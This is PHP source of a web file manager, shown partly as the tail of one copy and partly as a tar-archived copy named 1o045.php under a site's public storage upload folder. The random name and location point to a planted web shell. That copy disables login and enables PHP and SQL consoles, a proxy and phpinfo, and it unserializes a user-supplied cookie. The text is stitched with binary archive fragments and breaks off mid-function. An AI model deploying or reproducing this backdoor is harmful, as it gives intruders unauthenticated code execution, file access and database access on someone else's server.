        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!UC<<
1o045.php.tarnu�[���var/www/html/back/storage/app/public/85/w8zplf/1o045.php000064400000232666000000000000016455 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
